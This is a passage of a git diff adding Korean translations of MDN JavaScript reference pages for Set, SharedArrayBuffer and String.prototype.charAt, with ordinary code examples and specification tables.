+mySet.has(5); // false, 5가 제거되었음
+
+mySet.size; // 4, 방금 값을 하나 제거했음
+console.log(mySet);// Set {1, "some text", Object {a: 1, b: 2}, Object {a: 1, b: 2}}
+</pre>
+
+<h3 id="Set_반복">Set 반복</h3>
+
+<pre class="brush: js">// set 내 항목에 대해 반복
+// 순서대로 항목을 (콘솔에) 기록: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet) console.log(item);
+
+// 순서대로 항목을 기록: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.keys()) console.log(item);
+
+// 순서대로 항목을 기록: 1, "some text", {"a": 1, "b": 2}
+for (let item of mySet.values()) console.log(item);
+
+// 순서대로 항목을 기록: 1, "some text", {"a": 1, "b": 2}
+// (여기서 key와 value는 같음)
+for (let [key, value] of mySet.entries()) console.log(key);
+
+// Set 객체를 배열 객체로 변환 (<a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/from">Array.from</a>으로)
+var myArr = Array.from(mySet); // [1, "some text", {"a": 1, "b": 2}]
+
+// 다음도 HTML 문서에서 실행하는 경우 작동함
+mySet.add(document.body);
+mySet.has(document.querySelector('body')); // true
+
+// Set과 Array 사이 변환
+mySet2 = new Set([1, 2, 3, 4]);
+mySet2.size; // 4
+[...mySet2]; // [1, 2, 3, 4]
+
+// 교집합은 다음으로 흉내(simulate)낼 수 있음
+var intersection = new Set([...set1].filter(x =&gt; set2.has(x)));
+
+// 차집합은 다음으로 흉내낼 수 있음
+var difference = new Set([...set1].filter(x =&gt; !set2.has(x)));
+
+// forEach로 set 항목 반복
+mySet.forEach(function(value) {
+ console.log(value);
+});
+
+// 1
+// 2
+// 3
+// 4</pre>
+
+<h3 id="기본_집합_연산_구현">기본 집합 연산 구현</h3>
+
+<pre class="brush: js">Set.prototype.isSuperset = function(subset) {
+ for (var elem of subset) {
+ if (!this.has(elem)) {
+ return false;
+ }
+ }
+ return true;
+}
+
+Set.prototype.union = function(setB) {
+ var union = new Set(this);
+ for (var elem of setB) {
+ union.add(elem);
+ }
+ return union;
+}
+
+Set.prototype.intersection = function(setB) {
+ var intersection = new Set();
+ for (var elem of setB) {
+ if (this.has(elem)) {
+ intersection.add(elem);
+ }
+ }
+ return intersection;
+}
+
+Set.prototype.difference = function(setB) {
+ var difference = new Set(this);
+ for (var elem of setB) {
+ difference.delete(elem);
+ }
+ return difference;
+}
+
+//Examples
+var setA = new Set([1, 2, 3, 4]),
+ setB = new Set([2, 3]),
+ setC = new Set([3, 4, 5, 6]);
+
+setA.isSuperset(setB); // =&gt; true
+setA.union(setC); // =&gt; Set [1, 2, 3, 4, 5, 6]
+setA.intersection(setC); // =&gt; Set [3, 4]
+setA.difference(setC); // =&gt; Set [1, 2]</pre>
+
+<h3 id="Array_객체와의_관계"><code>Array</code> 객체와의 관계</h3>
+
+<pre class="brush: js">var myArray = ['value1', 'value2', 'value3'];
+
+// Array를 Set으로 변환하기 위해서는 정규 Set 생성자 사용
+var mySet = new Set(myArray);
+
+mySet.has('value1'); // true 반환
+
+// set을 Array로 변환하기 위해 전개 연산자 사용함.
+console.log([...mySet]); // myArray와 정확히 같은 배열을 보여줌</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set-objects', 'Set')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/prototype/index.html b/files/ko/web/javascript/reference/global_objects/set/prototype/index.html
new file mode 100644
index 0000000000..ca6e568bed
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/prototype/index.html
@@ -0,0 +1,86 @@
+---
+title: Set.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Set/prototype
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Property
+ - Reference
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Set.prototype</strong></code> 속성은 {{jsxref("Set")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("Set")}} 인스턴스는 {{jsxref("Set.prototype")}}에서 상속합니다. 모든 <code>Set</code> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>Set.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 만든 함수를 반환합니다. 이는 기본으로 {{jsxref("Set")}} 함수입니다.</dd>
+ <dt>{{jsxref("Set.prototype.size")}}</dt>
+ <dd><code>Set</code> 객체 내 값의 개수를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Set.add", "Set.prototype.add(value)")}}</dt>
+ <dd><code>Set</code> 객체에 주어진 값을 갖는 새로운 요소를 추가합니다. <code>Set</code> 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.clear()")}}</dt>
+ <dd><code>Set</code> 객체에서 모든 요소를 제거합니다.</dd>
+ <dt>{{jsxref("Set.delete", "Set.prototype.delete(value)")}}</dt>
+ <dd><code>value</code>와 관련된 요소를 제거하고 <code>Set.prototype.has(value)</code>가 이전에 반환했던 값을 반환합니다. <code>Set.prototype.has(value)</code>는 그 뒤에 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.entries()")}}</dt>
+ <dd>삽입 순으로 <code>Set</code> 객체 내 각 값에 대한 <strong><code>[value, value]</code> 배열</strong>을 포함하는 새로운 <code>Iterator</code> 객체를 반환합니다. 이는 <code>Map</code> 객체와 비슷하게 유지되므로 여기서 각 항목은 그 <em>key</em>와 <em>value</em>에 대해 같은 값을 갖습니다.</dd>
+ <dt>{{jsxref("Set.forEach", "Set.prototype.forEach(callbackFn[, thisArg])")}}</dt>
+ <dd>삽입 순으로 <code>Set</code> 객체 내에 있는 각 값에 대해 한 번 <code>callbackFn</code>을 호출합니다. <code>thisArg</code> 매개변수가 <code>forEach</code>에 제공된 경우, 이는 각 콜백에 대해 <code>this</code> 값으로 사용됩니다.</dd>
+ <dt>{{jsxref("Set.has", "Set.prototype.has(value)")}}</dt>
+ <dd><code>Set</code> 객체 내 주어진 값을 갖는 요소가 있는지를 주장하는(asserting, 나타내는) boolean을 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.keys()")}}</dt>
+ <dd><strong><code>values()</code></strong> 함수와 같은 함수로 삽입 순으로 <code>Set</code> 객체 내 각 요소에 대한 값을 포함하는 새로운 <code>Iterator</code> 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.values()")}}</dt>
+ <dd>삽입 순으로 <code>Set</code> 객체 내 각 요소에 대한 <strong>값</strong>을 포함하는 새로운 <code>Iterator</code> 객체를 반환합니다.</dd>
+ <dt>{{jsxref("Set.prototype.@@iterator()", "Set.prototype[@@iterator]()")}}</dt>
+ <dd>삽입 순으로 <code>Set</code> 객체 내 각 요소에 대한 <strong>값</strong>을 포함하는 새로운 <code>Iterator</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-set.prototype', 'Set.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype', 'Set.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.prototype")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/size/index.html b/files/ko/web/javascript/reference/global_objects/set/size/index.html
new file mode 100644
index 0000000000..2f437bed4a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/size/index.html
@@ -0,0 +1,69 @@
+---
+title: Set.prototype.size
+slug: Web/JavaScript/Reference/Global_Objects/Set/size
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Property
+ - Prototype
+ - Reference
+ - set
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/size
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>size</strong></code> 접근자 속성은 {{jsxref("Set")}} 객체의 원소 수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-size.html")}}</div>
+
+
+
+<h2 id="설명">설명</h2>
+
+<p><code>size</code>의 값은 <code>Set</code> 객체가 가진 원소의 수를 나타내는 정수입니다. <code>size</code> 값의 설정자는 {{jsxref("undefined")}}입니다. 즉 값을 직접 바꿀 수는 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="size_사용하기"><code>size</code> 사용하기</h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add(1);
+mySet.add(5);
+mySet.add('some text')
+
+mySet.size; // 3
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-set.prototype.size', 'Set.prototype.size')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.size")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Set")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/set/values/index.html b/files/ko/web/javascript/reference/global_objects/set/values/index.html
new file mode 100644
index 0000000000..37e019e3da
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/set/values/index.html
@@ -0,0 +1,72 @@
+---
+title: Set.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/Set/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/values
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>values()</strong></code> method는 <code>Set<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> 객체에 요소가 삽입된 순서대로 각 요소의 값을 순환할 수 있는 </span></font></code><code>Iterator</code> 객체를 반환합니다.</p>
+
+<p>The <strong><code>keys()</code></strong> method is an alias for this method (for similarity with {{jsxref("Map")}} objects); it behaves exactly the same and returns <strong>values</strong> of <code>Set</code> elements.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/set-prototype-values.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>mySet</em>.values();
+</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A new <code><strong>Iterator</strong></code> object containing the values for each element in the given <code>Set</code>, in insertion order.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_values()">Using <code>values()</code></h3>
+
+<pre class="brush:js">var mySet = new Set();
+mySet.add('foo');
+mySet.add('bar');
+mySet.add('baz');
+
+var setIter = mySet.values();
+
+console.log(setIter.next().value); // "foo"
+console.log(setIter.next().value); // "bar"
+console.log(setIter.next().value); // "baz"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-set.prototype.values', 'Set.prototype.values')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Set.values")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype.entries()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.html
new file mode 100644
index 0000000000..9919adb447
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/index.html
@@ -0,0 +1,137 @@
+---
+title: SharedArrayBuffer
+slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+tags:
+ - Constructor
+ - JavaScript
+ - Shared Memory
+ - SharedArrayBuffer
+ - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>SharedArrayBuffer</code></strong> 객체는 제네릭, 고정된 길이의 원시 바이너리 데이터 버퍼를 표현하는데 사용됩니다. {{jsxref("ArrayBuffer")}} 객체와 유사하지만, 공유된 메모리상의 뷰를 생성하는데 사용될 수 있습니다. <code>ArrayBuffer</code> 와는 달리, <code>SharedArrayBuffer</code> 는 분리될 수 없습니다.</p>
+
+<div class="blockIndicator note">
+<p><a href="https://meltdownattack.com/">Spectre</a> 에대한 응답으로 2018년 1월 5일에 <code>SharedArrayBuffer</code> 는 모든 주요 브라우저에서 기본적으로 비활성화되어있음을 참고하세요. Chrome 은 사이트 격리 기능을 사용하여 Spectre 스타일 취약점으로부터 보호될 수 있는 플랫폼상의 <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=821270">v67 에서 이를 다시 활성화</a>하였습니다.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/sharedarraybuffer-constructor.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new SharedArrayBuffer(length)
+</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>length</code></dt>
+ <dd>생성할 array buffer 의 바이트 크기.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>크기가 지정된 새로운 <code>SharedArrayBuffer</code> 객체입니다. 컨텐츠는 0 으로 초기화됩니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="할당_및_메모리_공유">할당 및 메모리 공유</h3>
+
+<p>{{jsxref("SharedArrayBuffer")}} 객체를 사용해 메모리를 하나의 agent(agent 는 웹 페이지의 메인 프로그램 또는 웹 워커 중 하나입니다)와 다른 agent 에서 공유하기 위해, <code><a href="https://developer.mozilla.org/ko/docs/Web/API/Worker/postMessage">postMessage</a></code> 와 <a href="https://developer.mozilla.org/ko/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">structured cloning</a> 이 사용됩니다.</p>
+
+<p>Structured clone 알고리즘은 <code>SharedArrayBuffer</code> 와 <code>SharedArrayBuffer</code> 상에 맵핑된 <code>TypedArray</code> 를 받아들입니다. 이 두 경우에서, <code>SharedArrayBuffer</code> 객체는 수신자(receiver)에게 전달되어 수신 agent(예, {{jsxref("ArrayBuffer")}})의 새로운 비공개의 SharedArrayBuffer 객체를 생성합니다. 하지만, 두 <code>SharedArrayBuffer</code> 에 의해 참조되는 공유 데이터 블록은 같은 블록이며, 부수적인 효과로, 하나의 agent 가 다른 agent 에서 보이게 됩니다.</p>
+
+<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
+worker.postMessage(sab);
+</pre>
+
+<h3 id="Atomic_operation_으로_공유_메모리_수정_및_동기화">Atomic operation 으로 공유 메모리 수정 및 동기화</h3>
+
+<p>공유 메모리는 워커나 메인 스레드에서 동시에 수정 및 생성할 수 있습니다. 시스템(CPU, OS, 브라우저)에따라 변경사항이 전체 컨텍스트로 전파될때까지 약간의 시간이 필요합니다. 동기화를 위해선, {{jsxref("Atomics", "atomic", "", 1)}} 연산이 필요합니다.</p>
+
+<h3 id="SharedArrayBuffer_객체를_사용할_수_있는_API"><code>SharedArrayBuffer</code> 객체를 사용할 수 있는 API</h3>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bufferData()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bufferSubData()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.getBufferSubData()")}}</li>
+</ul>
+
+<h3 id="생성자는_new_연산자를_필요로_함">생성자는 <code>new</code> 연산자를 필요로 함</h3>
+
+<p><code>SharedArrayBuffer</code> 생성자는 생성될 때, {{jsxref("Operators/new", "new")}} 연산자를 필요로 합니다. <code>SharedArrayBuffer</code> 생성자를 new 없이 함수로써 호출하면, {{jsxref("TypeError")}} 를 일으킬 것 입니다.</p>
+
+<pre class="brush: js example-bad">var sab = SharedArrayBuffer(1024);
+// TypeError: calling a builtin SharedArrayBuffer constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var sab = new SharedArrayBuffer(1024);</pre>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>SharedArrayBuffer.length</code></dt>
+ <dd>값이 1인 <code>SharedArrayBuffer</code> 생성자의 length 속성입니다.</dd>
+ <dt>{{jsxref("SharedArrayBuffer.prototype")}}</dt>
+ <dd>모든 <code>SharedArrayBuffer</code> 객체에 프로퍼티 추가를 가능하게 해줍니다.</dd>
+</dl>
+
+<h2 id="SharedArrayBuffer_prototype_객체"><code>SharedArrayBuffer</code> prototype 객체</h2>
+
+<p>모든 <code>SharedArrayBuffer</code> 인스턴스는 {{jsxref("SharedArrayBuffer.prototype")}} 를 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype','Properties')}}</p>
+
+<h3 id="메소드">메소드</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype','Methods')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>ES2017 에서 초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES8', '#sec-sharedarraybuffer-objects', 'SharedArrayBuffer')}}</td>
+ <td>{{Spec2('ES8')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.SharedArrayBuffer")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– 동기화 및 작업 분리 추상화를 제공하는 간단한 라이브러리.</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">Shared Memory – 간단한 튜토리얼</a></li>
+ <li>
+ <p><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html
new file mode 100644
index 0000000000..3499bc77ed
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/sharedarraybuffer/prototype/index.html
@@ -0,0 +1,65 @@
+---
+title: SharedArrayBuffer.prototype
+slug: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype
+tags:
+ - JavaScript
+ - SharedArrayBuffer
+ - TypedArrays
+ - 공유 메모리
+ - 속성
+translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>SharedArrayBuffer.prototype</code></strong> 속성은 {{jsxref("SharedArrayBuffer")}} 객체를위한 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>SharedArrayBuffer</code> 인스턴스는 <code>SharedArrayBuffer.prototype</code> 을 상속합니다. 모든 생성자와 마찬가지로, 생성자의 프로토타입 객체를 변경하여 모든 <code>SharedArrayBuffer</code> 인스턴스에 변화를 줄 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>SharedArrayBuffer.prototype.constructor</dt>
+ <dd>객체의 프로토타입을 생성하는 함수를 지정합니다. 초기 값은 <code>SharedArrayBuffer</code> 생성자에 내장된 표준입니다.</dd>
+ <dt>{{jsxref("SharedArrayBuffer.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>배열의 바이트 크기입니다. 배열이 생성되고 수정이 불가할 때 지정됩니다. <strong>읽기 전용입니다.</strong></dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{jsxref("SharedArrayBuffer.slice", "SharedArrayBuffer.prototype.slice(begin, end)")}}</dt>
+ <dd><code>begin</code> 부터 <code>end</code> 까지의 모든 것을 포함하는 <code>SharedArrayBuffer</code> 바이트의 복사본을 컨텐츠로 갖는 새로운 <code>SharedArrayBuffer</code> 를 반환합니다. <code>begin</code> 또는 <code>end</code> 가 음수인 경우, 인덱스는 배열의 끝에서부터이고 반대인 경우 시작부터입니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-sharedarraybuffer.prototype', 'SharedArrayBuffer.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>ES2017 에서 초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.SharedArrayBuffer.prototype")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/string/charat/index.html b/files/ko/web/javascript/reference/global_objects/string/charat/index.html
new file mode 100644
index 0000000000..a5a68c03be
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/string/charat/index.html
@@ -0,0 +1,260 @@
+---
+title: String.prototype.charAt()
+slug: Web/JavaScript/Reference/Global_Objects/String/charAt
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt
+---
+<div>{{JSRef}}</div>
+
+<p><strong>charAt() </strong>함수는 문자열에서 특정 인덱스에 위치하는  유니코드 단일문자를 반환합니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-charat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.charAt(<var>index</var>)</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<ul>
+ <li>0과 문자열의 길이 - 1 사이의 정수값. </li>
+ <li>인자를 생략하면 기본값으로 0를 설정되고 첫 문자를 반환한다. </li>
+</ul>
+
+<dl>
+ <dt><code>index</code></dt>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<ul>
+ <li>지정된 인덱스에 해당하는 유니코드 단일문자를 반환한다.</li>
+ <li>만약 인덱스가 문자열 길이보다 큰 경우 빈 문자열 (예) " " 을 반환한다.  </li>
+</ul>
+
+<h2 id="설명">설명</h2>
+
+<p>문자열 내의 문자는 왼쪽에서 오른쪽으로 순번(인덱스)이 매겨집니다. 첫 번째 문자의 순번은 0, 그리고 <code>stringName</code> 이라는 이름을 가진 문자열의 마지막 문자 순번은 <code>stringName.length - 1 </code>입니다. <code>index</code>가 문자열 길이를 벗어나면 빈 문자열을 반환하게 됩니다.</p>
+
+<p><code>index</code>를 제공하지 않으면 기본값은 0입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="문자열_내의_다른_위치에_있는_문자들을_출력하기">문자열 내의 다른 위치에 있는 문자들을 출력하기</h3>
+
+<p>아래 예제는 문자열 <code>"Brave new world"</code>의 다른 위치에 있는 문자들을 출력합니다.</p>
+
+<pre class="brush: js">var anyString = 'Brave new world';
+console.log("The character at index 0   is '" + anyString.charAt()   + "'");
+// No index was provided, used 0 as default
+
+console.log("The character at index 0 is '" + anyString.charAt(0) + "'");
+console.log("The character at index 1 is '" + anyString.charAt(1) + "'");
+console.log("The character at index 2 is '" + anyString.charAt(2) + "'");
+console.log("The character at index 3 is '" + anyString.charAt(3) + "'");
+console.log("The character at index 4 is '" + anyString.charAt(4) + "'");
+console.log("The character at index 999 is '" + anyString.charAt(999) + "'");
+</pre>
+
+<p>프로그램의 실행 결과는 아래와 같습니다.</p>
+
+<pre class="brush: js">The character at index 0 is 'B'
+The character at index 1 is 'r'
+The character at index 2 is 'a'
+The character at index 3 is 'v'
+The character at index 4 is 'e'
+The character at index 999 is ''
+</pre>
+
+<h3 id="문자열_내의_모든_문자_얻기">문자열 내의 모든 문자 얻기</h3>
+
+<p>아래 예제는 문자열 전체를 순회하며 각 문자가 완전한지 확인하는 프로그램입니다. 심지어 <a href="https://ko.wikipedia.org/wiki/%EC%9C%A0%EB%8B%88%EC%BD%94%EB%93%9C_%ED%8F%89%EB%A9%B4">기본 다국어 평면(Basic Multilingual Plane)</a>에 포함되지 않은 문자들이 포함되어 있다고 하더라도 잘 동작합니다. </p>
+
+<pre class="brush: js">var str = 'A \uD87E\uDC04 Z'; // 기본 다국어 평면에 포함되지 않는 문자를 사용합니다.
+for (var i = 0, chr; i &lt; str.length; i++) {
+ if ((chr = getWholeChar(str, i)) === false) {
+ continue;
+ }
+ // Adapt this line at the top of each loop, passing in the whole string and
+ // the current iteration and returning a variable to represent the
+ // individual character
+
+ console.log(chr);
+}
+
+function getWholeChar(str, i) {
+ var code = str.charCodeAt(i);
+
+ if (Number.isNaN(code)) {
+ return ''; // Position not found
+ }
+ if (code &lt; 0xD800 || code &gt; 0xDFFF) {
+ return str.charAt(i);
+ }
+
+ // High surrogate (could change last hex to 0xDB7F to treat high private
+ // surrogates as single characters)
+ if (0xD800 &lt;= code &amp;&amp; code &lt;= 0xDBFF) {
+ if (str.length &lt;= (i + 1)) {
+ throw 'High surrogate without following low surrogate';
+ }
+ var next = str.charCodeAt(i + 1);
+ if (0xDC00 &gt; next || next &gt; 0xDFFF) {
+ throw 'High surrogate without following low surrogate';
+ }
+ return str.charAt(i) + str.charAt(i + 1);
+ }
+ // Low surrogate (0xDC00 &lt;= code &amp;&amp; code &lt;= 0xDFFF)
+ if (i === 0) {
+ throw 'Low surrogate without preceding high surrogate';
+ }
+ var prev = str.charCodeAt(i - 1);
+
+ // (could change last hex to 0xDB7F to treat high private
+ // surrogates as single characters)
+ if (0xD800 &gt; prev || prev &gt; 0xDBFF) {
+ throw 'Low surrogate without preceding high surrogate';
+ }
+ // We can pass over low surrogates now as the second component
+ // in a pair which we have already processed
+ return false;
+}
+</pre>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">비구조화 할당</a>을 허용하는 ECMAScript 2016 환경에서는 아래 예제 코드가 더 간결하고, 문자가 <a href="https://ko.wikipedia.org/wiki/UTF-16">서러게이트 페어</a>가 되는 것을 허용할 때는 증가해야 하는 변수를 자동적으로 증가하기에 위의 코드보다 다소 더 유연합니다.</p>
+
+<pre class="brush: js">var str = 'A\uD87E\uDC04Z'; // We could also use a non-BMP character directly
+for (var i = 0, chr; i &lt; str.length; i++) {
+ [chr, i] = getWholeCharAndI(str, i);
+ // Adapt this line at the top of each loop, passing in the whole string and
+ // the current iteration and returning an array with the individual character
+ // and 'i' value (only changed if a surrogate pair)
+
+ console.log(chr);
+}
+
